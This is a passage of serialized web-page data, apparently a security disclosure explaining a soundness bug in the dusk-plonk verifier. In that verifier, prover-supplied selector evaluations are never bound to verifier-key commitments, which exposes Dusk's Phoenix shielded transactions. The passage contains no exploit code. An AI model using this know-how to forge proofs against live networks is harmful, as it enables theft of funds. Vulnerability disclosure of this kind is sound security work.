(",{"type":21,"tag":194,"props":144690,"children":144692},{"className":144691},[4794,4795],[144693],{"type":21,"tag":198,"props":144694,"children":144696},{"className":144695},[4800],[144697],{"type":21,"tag":198,"props":144698,"children":144700},{"className":144699,"ariaHidden":4806},[4805],[144701],{"type":21,"tag":198,"props":144702,"children":144704},{"className":144703},[4811],[144705,144709,144766,144771,144776],{"type":21,"tag":198,"props":144706,"children":144708},{"className":144707,"style":4922},[4816],[],{"type":21,"tag":198,"props":144710,"children":144712},{"className":144711},[4822],[144713,144718],{"type":21,"tag":198,"props":144714,"children":144716},{"className":144715,"style":22913},[4822,22381],[144717],{"type":27,"value":143993},{"type":21,"tag":198,"props":144719,"children":144721},{"className":144720},[4837],[144722],{"type":21,"tag":198,"props":144723,"children":144725},{"className":144724},[4842,22435],[144726,144755],{"type":21,"tag":198,"props":144727,"children":144729},{"className":144728},[4847],[144730,144750],{"type":21,"tag":198,"props":144731,"children":144733},{"className":144732,"style":142984},[4852],[144734],{"type":21,"tag":198,"props":144735,"children":144736},{"style":116678},[144737,144741],{"type":21,"tag":198,"props":144738,"children":144740},{"className":144739,"style":4862},[4861],[],{"type":21,"tag":198,"props":144742,"children":144744},{"className":144743},[4867,4868,4869,4870],[144745],{"type":21,"tag":198,"props":144746,"children":144748},{"className":144747,"style":93663},[4822,22381,4870],[144749],{"type":27,"value":93666},{"type":21,"tag":198,"props":144751,"children":144753},{"className":144752},[22538],[144754],{"type":27,"value":22541},{"type":21,"tag":198,"props":144756,"children":144758},{"className":144757},[4847],[144759],{"type":21,"tag":198,"props":144760,"children":144762},{"className":144761,"style":93512},[4852],[144763],{"type":21,"tag":198,"props":144764,"children":144765},{},[],{"type":21,"tag":198,"props":144767,"children":144769},{"className":144768},[22510],[144770],{"type":27,"value":706},{"type":21,"tag":198,"props":144772,"children":144774},{"className":144773,"style":113986},[4822,22381],[144775],{"type":27,"value":113989},{"type":21,"tag":198,"props":144777,"children":144779},{"className":144778},[22532],[144780],{"type":27,"value":2109},{"type":27,"value":828},{"type":21,"tag":194,"props":144783,"children":144785},{"className":144784},[4794,4795],[144786],{"type":21,"tag":198,"props":144787,"children":144789},{"className":144788},[4800],[144790],{"type":21,"tag":198,"props":144791,"children":144793},{"className":144792,"ariaHidden":4806},[4805],[144794],{"type":21,"tag":198,"props":144795,"children":144797},{"className":144796},[4811],[144798,144802,144859,144864,144869],{"type":21,"tag":198,"props":144799,"children":144801},{"className":144800,"style":4922},[4816],[],{"type":21,"tag":198,"props":144803,"children":144805},{"className":144804},[4822],[144806,144811],{"type":21,"tag":198,"props":144807,"children":144809},{"className":144808},[4822,22381],[144810],{"type":27,"value":118393},{"type":21,"tag":198,"props":144812,"children":144814},{"className":144813},[4837],[144815],{"type":21,"tag":198,"props":144816,"children":144818},{"className":144817},[4842,22435],[144819,144848],{"type":21,"tag":198,"props":144820,"children":144822},{"className":144821},[4847],[144823,144843],{"type":21,"tag":198,"props":144824,"children":144826},{"className":144825,"style":93481},[4852],[144827],{"type":21,"tag":198,"props":144828,"children":144829},{"style":93485},[144830,144834],{"type":21,"tag":198,"props":144831,"children":144833},{"className":144832,"style":4862},[4861],[],{"type":21,"tag":198,"props":144835,"children":144837},{"className":144836},[4867,4868,4869,4870],[144838],{"type":21,"tag":198,"props":144839,"children":144841},{"className":144840},[4822,4870],[144842],{"type":27,"value":134},{"type":21,"tag":198,"props":144844,"children":144846},{"className":144845},[22538],[144847],{"type":27,"value":22541},{"type":21,"tag":198,"props":144849,"children":144851},{"className":144850},[4847],[144852],{"type":21,"tag":198,"props":144853,"children":144855},{"className":144854,"style":93512},[4852],[144856],{"type":21,"tag":198,"props":144857,"children":144858},{},[],{"type":21,"tag":198,"props":144860,"children":144862},{"className":144861},[22510],[144863],{"type":27,"value":706},{"type":21,"tag":198,"props":144865,"children":144867},{"className":144866,"style":113986},[4822,22381],[144868],{"type":27,"value":113989},{"type":21,"tag":198,"props":144870,"children":144872},{"className":144871},[22532],[144873],{"type":27,"value":2109},{"type":27,"value":144875},", the public-input polynomial at ",{"type":21,"tag":194,"props":144877,"children":144879},{"className":144878},[4794,4795],[144880],{"type":21,"tag":198,"props":144881,"children":144883},{"className":144882},[4800],[144884],{"type":21,"tag":198,"props":144885,"children":144887},{"className":144886,"ariaHidden":4806},[4805],[144888],{"type":21,"tag":198,"props":144889,"children":144891},{"className":144890},[4811],[144892,144896],{"type":21,"tag":198,"props":144893,"children":144895},{"className":144894,"style":111270},[4816],[],{"type":21,"tag":198,"props":144897,"children":144899},{"className":144898,"style":113986},[4822,22381],[144900],{"type":27,"value":113989},{"type":27,"value":144902},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":21,"tag":194,"props":144904,"children":144906},{"className":144905},[4794,4795],[144907],{"type":21,"tag":198,"props":144908,"children":144910},{"className":144909},[4800],[144911],{"type":21,"tag":198,"props":144912,"children":144914},{"className":144913,"ariaHidden":4806},[4805],[144915],{"type":21,"tag":198,"props":144916,"children":144918},{"className":144917},[4811],[144919,144923,144928,144933,144938],{"type":21,"tag":198,"props":144920,"children":144922},{"className":144921,"style":4922},[4816],[],{"type":21,"tag":198,"props":144924,"children":144926},{"className":144925},[4822,22381],[144927],{"type":27,"value":34},{"type":21,"tag":198,"props":144929,"children":144931},{"className":144930},[22510],[144932],{"type":27,"value":706},{"type":21,"tag":198,"props":144934,"children":144936},{"className":144935,"style":113986},[4822,22381],[144937],{"type":27,"value":113989},{"type":21,"tag":198,"props":144939,"children":144941},{"className":144940},[22532],[144942],{"type":27,"value":2109},{"type":27,"value":828},{"type":21,"tag":194,"props":144945,"children":144947},{"className":144946},[4794,4795],[144948],{"type":21,"tag":198,"props":144949,"children":144951},{"className":144950},[4800],[144952],{"type":21,"tag":198,"props":144953,"children":144955},{"className":144954,"ariaHidden":4806},[4805],[144956],{"type":21,"tag":198,"props":144957,"children":144959},{"className":144958},[4811],[144960,144964,144969,144974,144979],{"type":21,"tag":198,"props":144961,"children":144963},{"className":144962,"style":4922},[4816],[],{"type":21,"tag":198,"props":144965,"children":144967},{"className":144966},[4822,22381],[144968],{"type":27,"value":4029},{"type":21,"tag":198,"props":144970,"children":144972},{"className":144971},[22510],[144973],{"type":27,"value":706},{"type":21,"tag":198,"props":144975,"children":144977},{"className":144976,"style":113986},[4822,22381],[144978],{"type":27,"value":113989},{"type":21,"tag":198,"props":144980,"children":144982},{"className":144981},[22532],[144983],{"type":27,"value":2109},{"type":27,"value":828},{"type":21,"tag":194,"props":144986,"children":144988},{"className":144987},[4794,4795],[144989],{"type":21,"tag":198,"props":144990,"children":144992},{"className":144991},[4800],[144993],{"type":21,"tag":198,"props":144994,"children":144996},{"className":144995,"ariaHidden":4806},[4805],[144997],{"type":21,"tag":198,"props":144998,"children":145000},{"className":144999},[4811],[145001,145005,145063,145068,145073],{"type":21,"tag":198,"props":145002,"children":145004},{"className":145003,"style":4922},[4816],[],{"type":21,"tag":198,"props":145006,"children":145008},{"className":145007},[4822],[145009,145015],{"type":21,"tag":198,"props":145010,"children":145012},{"className":145011,"style":93915},[4822,22381],[145013],{"type":27,"value":145014},"σ",{"type":21,"tag":198,"props":145016,"children":145018},{"className":145017},[4837],[145019],{"type":21,"tag":198,"props":145020,"children":145022},{"className":145021},[4842,22435],[145023,145052],{"type":21,"tag":198,"props":145024,"children":145026},{"className":145025},[4847],[145027,145047],{"type":21,"tag":198,"props":145028,"children":145030},{"className":145029,"style":93481},[4852],[145031],{"type":21,"tag":198,"props":145032,"children":145033},{"style":93962},[145034,145038],{"type":21,"tag":198,"props":145035,"children":145037},{"className":145036,"style":4862},[4861],[],{"type":21,"tag":198,"props":145039,"children":145041},{"className":145040},[4867,4868,4869,4870],[145042],{"type":21,"tag":198,"props":145043,"children":145045},{"className":145044},[4822,4870],[145046],{"type":27,"value":134},{"type":21,"tag":198,"props":145048,"children":145050},{"className":145049},[22538],[145051],{"type":27,"value":22541},{"type":21,"tag":198,"props":145053,"children":145055},{"className":145054},[4847],[145056],{"type":21,"tag":198,"props":145057,"children":145059},{"className":145058,"style":93512},[4852],[145060],{"type":21,"tag":198,"props":145061,"children":145062},{},[],{"type":21,"tag":198,"props":145064,"children":145066},{"className":145065},[22510],[145067],{"type":27,"value":706},{"type":21,"tag":198,"props":145069,"children":145071},{"className":145070,"style":113986},[4822,22381],[145072],{"type":27,"value":113989},{"type":21,"tag":198,"props":145074,"children":145076},{"className":145075},[22532],[145077],{"type":27,"value":2109},{"type":27,"value":828},{"type":21,"tag":194,"props":145080,"children":145082},{"className":145081},[4794,4795],[145083],{"type":21,"tag":198,"props":145084,"children":145086},{"className":145085},[4800],[145087],{"type":21,"tag":198,"props":145088,"children":145090},{"className":145089,"ariaHidden":4806},[4805],[145091],{"type":21,"tag":198,"props":145092,"children":145094},{"className":145093},[4811],[145095,145099,145104,145109,145114,145120],{"type":21,"tag":198,"props":145096,"children":145098},{"className":145097,"style":4922},[4816],[],{"type":21,"tag":198,"props":145100,"children":145102},{"className":145101},[4822,22381],[145103],{"type":27,"value":34},{"type":21,"tag":198,"props":145105,"children":145107},{"className":145106},[22510],[145108],{"type":27,"value":706},{"type":21,"tag":198,"props":145110,"children":145112},{"className":145111,"style":113986},[4822,22381],[145113],{"type":27,"value":113989},{"type":21,"tag":198,"props":145115,"children":145117},{"className":145116,"style":93915},[4822,22381],[145118],{"type":27,"value":145119},"ω",{"type":21,"tag":198,"props":145121,"children":145123},{"className":145122},[22532],[145124],{"type":27,"value":2109},{"type":27,"value":145126},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":21,"tag":194,"props":145128,"children":145130},{"className":145129},[4794,4795],[145131],{"type":21,"tag":198,"props":145132,"children":145134},{"className":145133},[4800],[145135],{"type":21,"tag":198,"props":145136,"children":145138},{"className":145137,"ariaHidden":4806},[4805],[145139],{"type":21,"tag":198,"props":145140,"children":145142},{"className":145141},[4811],[145143,145147,145152,145209],{"type":21,"tag":198,"props":145144,"children":145146},{"className":145145,"style":4922},[4816],[],{"type":21,"tag":198,"props":145148,"children":145150},{"className":145149},[22510],[145151],{"type":27,"value":2051},{"type":21,"tag":198,"props":145153,"children":145155},{"className":145154},[4822],[145156,145161],{"type":21,"tag":198,"props":145157,"children":145159},{"className":145158,"style":93915},[4822,22381],[145160],{"type":27,"value":93918},{"type":21,"tag":198,"props":145162,"children":145164},{"className":145163},[4837],[145165],{"type":21,"tag":198,"props":145166,"children":145168},{"className":145167},[4842,22435],[145169,145198],{"type":21,"tag":198,"props":145170,"children":145172},{"className":145171},[4847],[145173,145193],{"type":21,"tag":198,"props":145174,"children":145176},{"className":145175,"style":142984},[4852],[145177],{"type":21,"tag":198,"props":145178,"children":145179},{"style":93962},[145180,145184],{"type":21,"tag":198,"props":145181,"children":145183},{"className":145182,"style":4862},[4861],[],{"type":21,"tag":198,"props":145185,"children":145187},{"className":145186},[4867,4868,4869,4870],[145188],{"type":21,"tag":198,"props":145189,"children":145191},{"className":145190,"style":95437},[4822,22381,4870],[145192],{"type":27,"value":95440},{"type":21,"tag":198,"props":145194,"children":145196},{"className":145195},[22538],[145197],{"type":27,"value":22541},{"type":21,"tag":198,"props":145199,"children":145201},{"className":145200},[4847],[145202],{"type":21,"tag":198,"props":145203,"children":145205},{"className":145204,"style":93512},[4852],[145206],{"type":21,"tag":198,"props":145207,"children":145208},{},[],{"type":21,"tag":198,"props":145210,"children":145212},{"className":145211},[22532],[145213],{"type":27,"value":2071},{"type":27,"value":828},{"type":21,"tag":194,"props":145216,"children":145218},{"className":145217},[4794,4795],[145219],{"type":21,"tag":198,"props":145220,"children":145222},{"className":145221},[4800],[145223],{"type":21,"tag":198,"props":145224,"children":145226},{"className":145225,"ariaHidden":4806},[4805],[145227],{"type":21,"tag":198,"props":145228,"children":145230},{"className":145229},[4811],[145231,145235,145240,145297],{"type":21,"tag":198,"props":145232,"children":145234},{"className":145233,"style":4922},[4816],[],{"type":21,"tag":198,"props":145236,"children":145238},{"className":145237},[22510],[145239],{"type":27,"value":2051},{"type":21,"tag":198,"props":145241,"children":145243},{"className":145242},[4822],[145244,145249],{"type":21,"tag":198,"props":145245,"children":145247},{"className":145246,"style":93915},[4822,22381],[145248],{"type":27,"value":93918},{"type":21,"tag":198,"props":145250,"children":145252},{"className":145251},[4837],[145253],{"type":21,"tag":198,"props":145254,"children":145256},{"className":145255},[4842,22435],[145257,145286],{"type":21,"tag":198,"props":145258,"children":145260},{"className":145259},[4847],[145261,145281],{"type":21,"tag":198,"props":145262,"children":145264},{"className":145263,"style":142984},[4852],[145265],{"type":21,"tag":198,"props":145266,"children":145267},{"style":93962},[145268,145272],{"type":21,"tag":198,"props":145269,"children":145271},{"className":145270,"style":4862},[4861],[],{"type":21,"tag":198,"props":145273,"children":145275},{"className":145274},[4867,4868,4869,4870],[145276],{"type":21,"tag":198,"props":145277,"children":145279},{"className":145278,"style":93429},[4822,22381,4870],[145280],{"type":27,"value":115748},{"type":21,"tag":198,"props":145282,"children":145284},{"className":145283},[22538],[145285],{"type":27,"value":22541},{"type":21,"tag":198,"props":145287,"children":145289},{"className":145288},[4847],[145290],{"type":21,"tag":198,"props":145291,"children":145293},{"className":145292,"style":93512},[4852],[145294],{"type":21,"tag":198,"props":145295,"children":145296},{},[],{"type":21,"tag":198,"props":145298,"children":145300},{"className":145299},[22532],[145301],{"type":27,"value":2071},{"type":27,"value":828},{"type":21,"tag":194,"props":145304,"children":145306},{"className":145305},[4794,4795],[145307],{"type":21,"tag":198,"props":145308,"children":145310},{"className":145309},[4800],[145311],{"type":21,"tag":198,"props":145312,"children":145314},{"className":145313,"ariaHidden":4806},[4805],[145315],{"type":21,"tag":198,"props":145316,"children":145318},{"className":145317},[4811],[145319,145323,145328,145385],{"type":21,"tag":198,"props":145320,"children":145322},{"className":145321,"style":4922},[4816],[],{"type":21,"tag":198,"props":145324,"children":145326},{"className":145325},[22510],[145327],{"type":27,"value":2051},{"type":21,"tag":198,"props":145329,"children":145331},{"className":145330},[4822],[145332,145337],{"type":21,"tag":198,"props":145333,"children":145335},{"className":145334,"style":93915},[4822,22381],[145336],{"type":27,"value":145014},{"type":21,"tag":198,"props":145338,"children":145340},{"className":145339},[4837],[145341],{"type":21,"tag":198,"props":145342,"children":145344},{"className":145343},[4842,22435],[145345,145374],{"type":21,"tag":198,"props":145346,"children":145348},{"className":145347},[4847],[145349,145369],{"type":21,"tag":198,"props":145350,"children":145352},{"className":145351,"style":93481},[4852],[145353],{"type":21,"tag":198,"props":145354,"children":145355},{"style":93962},[145356,145360],{"type":21,"tag":198,"props":145357,"children":145359},{"className":145358,"style":4862},[4861],[],{"type":21,"tag":198,"props":145361,"children":145363},{"className":145362},[4867,4868,4869,4870],[145364],{"type":21,"tag":198,"props":145365,"children":145367},{"className":145366},[4822,4870],[145368],{"type":27,"value":18330},{"type":21,"tag":198,"props":145370,"children":145372},{"className":145371},[22538],[145373],{"type":27,"value":22541},{"type":21,"tag":198,"props":145375,"children":145377},{"className":145376},[4847],[145378],{"type":21,"tag":198,"props":145379,"children":145381},{"className":145380,"style":93512},[4852],[145382],{"type":21,"tag":198,"props":145383,"children":145384},{},[],{"type":21,"tag":198,"props":145386,"children":145388},{"className":145387},[22532],[145389],{"type":27,"value":2071},{"type":27,"value":145391},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":21,"tag":30,"props":145393,"children":145394},{},[145395],{"type":27,"value":145396},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":21,"tag":19590,"props":145398,"children":145399},{},[],{"type":21,"tag":22,"props":145401,"children":145403},{"id":145402},"where-dusk-plonk-differs-from-textbook-plonk",[145404],{"type":27,"value":145405},"Where dusk-plonk differs from textbook PLONK",{"type":21,"tag":30,"props":145407,"children":145408},{},[145409,145418,145420,145425,145427,145457],{"type":21,"tag":34,"props":145410,"children":145412},{"href":142284,"rel":145411},[38],[145413],{"type":21,"tag":194,"props":145414,"children":145416},{"className":145415},[],[145417],{"type":27,"value":142288},{"type":27,"value":145419}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":21,"tag":194,"props":145421,"children":145423},{"className":145422},[],[145424],{"type":27,"value":70944},{"type":27,"value":145426},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":21,"tag":194,"props":145428,"children":145430},{"className":145429},[4794,4795],[145431],{"type":21,"tag":198,"props":145432,"children":145434},{"className":145433},[4800],[145435],{"type":21,"tag":198,"props":145436,"children":145438},{"className":145437,"ariaHidden":4806},[4805],[145439],{"type":21,"tag":198,"props":145440,"children":145442},{"className":145441},[4811],[145443,145447,145452],{"type":21,"tag":198,"props":145444,"children":145446},{"className":145445,"style":111270},[4816],[],{"type":21,"tag":198,"props":145448,"children":145450},{"className":145449,"style":113986},[4822,22381],[145451],{"type":27,"value":113989},{"type":21,"tag":198,"props":145453,"children":145455},{"className":145454,"style":93915},[4822,22381],[145456],{"type":27,"value":145119},{"type":27,"value":145458},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":21,"tag":30,"props":145460,"children":145461},{},[145462,145464,145469,145470,145475,145477,145483,145485,145492],{"type":27,"value":145463},"The important part for this bug is the boundary between ",{"type":21,"tag":6137,"props":145465,"children":145466},{},[145467],{"type":27,"value":145468},"public circuit data",{"type":27,"value":11801},{"type":21,"tag":6137,"props":145471,"children":145472},{},[145473],{"type":27,"value":145474},"prover claims about that data at the random challenge point",{"type":27,"value":145476},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":21,"tag":194,"props":145478,"children":145480},{"className":145479},[],[145481],{"type":27,"value":145482},"Ql, Qr, Qm, Qo, Qk",{"type":27,"value":145484}," directly into the ",{"type":21,"tag":34,"props":145486,"children":145489},{"href":145487,"rel":145488},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[38],[145490],{"type":27,"value":145491},"linearization multi-scalar multiplication",{"type":27,"value":145493},", ensuring their values are cryptographically bound by construction.",{"type":21,"tag":30,"props":145495,"children":145496},{},[145497,145499,145524],{"type":27,"value":145498},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":21,"tag":194,"props":145500,"children":145502},{"className":145501},[4794,4795],[145503],{"type":21,"tag":198,"props":145504,"children":145506},{"className":145505},[4800],[145507],{"type":21,"tag":198,"props":145508,"children":145510},{"className":145509,"ariaHidden":4806},[4805],[145511],{"type":21,"tag":198,"props":145512,"children":145514},{"className":145513},[4811],[145515,145519],{"type":21,"tag":198,"props":145516,"children":145518},{"className":145517,"style":111270},[4816],[],{"type":21,"tag":198,"props":145520,"children":145522},{"className":145521,"style":113986},[4822,22381],[145523],{"type":27,"value":113989},{"type":27,"value":145525}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":21,"tag":30,"props":145527,"children":145528},{},[145529],{"type":27,"value":145530},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":21,"tag":145532,"props":145533,"children":145534},"dusk-verifier-dependence-graph",{},[],{"type":21,"tag":19590,"props":145536,"children":145537},{},[],{"type":21,"tag":22,"props":145539,"children":145541},{"id":145540},"how-dusk-uses-plonk",[145542],{"type":27,"value":145543},"How Dusk uses PLONK",{"type":21,"tag":30,"props":145545,"children":145546},{},[145547,145553],{"type":21,"tag":34,"props":145548,"children":145550},{"href":142293,"rel":145549},[38],[145551],{"type":27,"value":145552},"Dusk Network",{"type":27,"value":145554}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":21,"tag":138,"props":145556,"children":145557},{},[145558,145563],{"type":21,"tag":75,"props":145559,"children":145560},{},[145561],{"type":27,"value":145562},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":21,"tag":75,"props":145564,"children":145565},{},[145566],{"type":27,"value":145567},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":21,"tag":30,"props":145569,"children":145570},{},[145571,145573,145584,145586,145597],{"type":27,"value":145572},"At node level, every ",{"type":21,"tag":34,"props":145574,"children":145577},{"href":145575,"rel":145576},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[38],[145578],{"type":21,"tag":194,"props":145579,"children":145581},{"className":145580},[],[145582],{"type":27,"value":145583},"ProtocolTransaction::Phoenix",{"type":27,"value":145585}," goes through ",{"type":21,"tag":34,"props":145587,"children":145590},{"href":145588,"rel":145589},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[38],[145591],{"type":21,"tag":194,"props":145592,"children":145594},{"className":145593},[],[145595],{"type":27,"value":145596},"verify_proof_with_version()",{"type":27,"value":145598}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":21,"tag":30,"props":145600,"children":145601},{},[145602,145604,145615,145617,145628,145629,145640,145641,145652,145653,145664],{"type":27,"value":145603},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":21,"tag":34,"props":145605,"children":145608},{"href":145606,"rel":145607},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[38],[145609],{"type":21,"tag":194,"props":145610,"children":145612},{"className":145611},[],[145613],{"type":27,"value":145614},"phoenix()",{"type":27,"value":145616},", for example in ",{"type":21,"tag":34,"props":145618,"children":145621},{"href":145619,"rel":145620},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[38],[145622],{"type":21,"tag":194,"props":145623,"children":145625},{"className":145624},[],[145626],{"type":27,"value":145627},"phoenix_stake()",{"type":27,"value":828},{"type":21,"tag":34,"props":145630,"children":145633},{"href":145631,"rel":145632},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[38],[145634],{"type":21,"tag":194,"props":145635,"children":145637},{"className":145636},[],[145638],{"type":27,"value":145639},"phoenix_stake_reward()",{"type":27,"value":828},{"type":21,"tag":34,"props":145642,"children":145645},{"href":145643,"rel":145644},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[38],[145646],{"type":21,"tag":194,"props":145647,"children":145649},{"className":145648},[],[145650],{"type":27,"value":145651},"phoenix_unstake()",{"type":27,"value":7299},{"type":21,"tag":34,"props":145654,"children":145657},{"href":145655,"rel":145656},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[38],[145658],{"type":21,"tag":194,"props":145659,"children":145661},{"className":145660},[],[145662],{"type":27,"value":145663},"phoenix_to_moonlight()",{"type":27,"value":145665},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":21,"tag":30,"props":145667,"children":145668},{},[145669],{"type":21,"tag":1376,"props":145670,"children":145673},{"alt":145671,"src":145672},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":21,"tag":30,"props":145675,"children":145676},{},[145677,145679,145685,145687,145694],{"type":27,"value":145678},"The PLONK implementation, ",{"type":21,"tag":34,"props":145680,"children":145683},{"href":145681,"rel":145682},"https://github.com/dusk-network/plonk",[38],[145684],{"type":27,"value":142288},{"type":27,"value":145686},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":21,"tag":34,"props":145688,"children":145691},{"href":145689,"rel":145690},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[38],[145692],{"type":27,"value":145693},"the original paper",{"type":27,"value":145695}," was released.",{"type":21,"tag":30,"props":145697,"children":145698},{},[145699,145701,145707],{"type":27,"value":145700},"The Phoenix transaction PLONK circuit is defined ",{"type":21,"tag":34,"props":145702,"children":145705},{"href":145703,"rel":145704},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[38],[145706],{"type":27,"value":625},{"type":27,"value":145708},". The circuit enforces the following set of constraints:",{"type":21,"tag":56121,"props":145710,"children":145711},{},[145712,145728],{"type":21,"tag":123380,"props":145713,"children":145714},{},[145715],{"type":21,"tag":123384,"props":145716,"children":145717},{},[145718,145723],{"type":21,"tag":123388,"props":145719,"children":145720},{},[145721],{"type":27,"value":145722},"Circuit check",{"type":21,"tag":123388,"props":145724,"children":145725},{},[145726],{"type":27,"value":145727},"Statement being checked",{"type":21,"tag":123408,"props":145729,"children":145730},{},[145731,145749,145767,145785,145803,145960,146100,146118],{"type":21,"tag":123384,"props":145732,"children":145733},{},[145734,145744],{"type":21,"tag":123415,"props":145735,"children":145736},{},[145737],{"type":21,"tag":34,"props":145738,"children":145741},{"href":145739,"rel":145740},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[38],[145742],{"type":27,"value":145743},"Merkle tree membership",{"type":21,"tag":123415,"props":145745,"children":145746},{},[145747],{"type":27,"value":145748},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":21,"tag":123384,"props":145750,"children":145751},{},[145752,145762],{"type":21,"tag":123415,"props":145753,"children":145754},{},[145755],{"type":21,"tag":34,"props":145756,"children":145759},{"href":145757,"rel":145758},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[38],[145760],{"type":27,"value":145761},"Input-note secret-key authorization",{"type":21,"tag":123415,"props":145763,"children":145764},{},[145765],{"type":27,"value":145766},"The prover knows the secret key controlling each input note",{"type":21,"tag":123384,"props":145768,"children":145769},{},[145770,145780],{"type":21,"tag":123415,"props":145771,"children":145772},{},[145773],{"type":21,"tag":34,"props":145774,"children":145777},{"href":145775,"rel":145776},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[38],[145778],{"type":27,"value":145779},"Nullifier correctness",{"type":21,"tag":123415,"props":145781,"children":145782},{},[145783],{"type":27,"value":145784},"Each nullifier matches the corresponding note key and position",{"type":21,"tag":123384,"props":145786,"children":145787},{},[145788,145798],{"type":21,"tag":123415,"props":145789,"children":145790},{},[145791],{"type":21,"tag":34,"props":145792,"children":145795},{"href":145793,"rel":145794},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[38],[145796],{"type":27,"value":145797},"Output value commitment correctness",{"type":21,"tag":123415,"props":145799,"children":145800},{},[145801],{"type":27,"value":145802},"Each public output commitment matches the secret output value and blinder",{"type":21,"tag":123384,"props":145804,"children":145805},{},[145806,145816],{"type":21,"tag":123415,"props":145807,"children":145808},{},[145809],{"type":21,"tag":34,"props":145810,"children":145813},{"href":145811,"rel":145812},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[38],[145814],{"type":27,"value":145815},"Balance integrity",{"type":21,"tag":123415,"props":145817,"children":145818},{},[145819],{"type":21,"tag":194,"props":145820,"children":145822},{"className":145821},[4794,4795],[145823],{"type":21,"tag":198,"props":145824,"children":145826},{"className":145825},[4800],[145827],{"type":21,"tag":198,"props":145828,"children":145830},{"className":145829,"ariaHidden":4806},[4805],[145831,145871,145911,145943],{"type":21,"tag":198,"props":145832,"children":145834},{"className":145833},[4811],[145835,145839,145844,145848,145858,145862,145867],{"type":21,"tag":198,"props":145836,"children":145838},{"className":145837,"style":4922},[4816],[],{"type":21,"tag":198,"props":145840,"children":145842},{"className":145841,"style":22424},[22417,22422,22423],[145843],{"type":27,"value":109224},{"type":21,"tag":198,"props":145845,"children":145847},{"className":145846,"style":4939},[4901],[],{"type":21,"tag":198,"props":145849,"children":145851},{"className":145850},[4822,27],[145852],{"type":21,"tag":198,"props":145853,"children":145855},{"className":145854},[4822],[145856],{"type":27,"value":145857},"inputs",{"type":21,"tag":198,"props":145859,"children":145861},{"className":145860,"style":4998},[4901],[],{"type":21,"tag":198,"props":145863,"children":145865},{"className":145864},[5003],[145866],{"type":27,"value":3174},{"type":21,"tag":198,"props":145868,"children":145870},{"className":145869,"style":4998},[4901],[],{"type":21,"tag":198,"props":145872,"children":145874},{"className":145873},[4811],[145875,145879,145884,145888,145898,145902,145907],{"type":21,"tag":198,"props":145876,"children":145878},{"className":145877,"style":4922},[4816],[],{"type":21,"tag":198,"props":145880,"children":145882},{"className":145881,"style":22424},[22417,22422,22423],[145883],{"type":27,"value":109224},{"type":21,"tag":198,"props":145885,"children":145887},{"className":145886,"style":4939},[4901],[],{"type":21,"tag":198,"props":145889,"children":145891},{"className":145890},[4822,27],[145892],{"type":21,"tag":198,"props":145893,"children":145895},{"className":145894},[4822],[145896],{"type":27,"value":14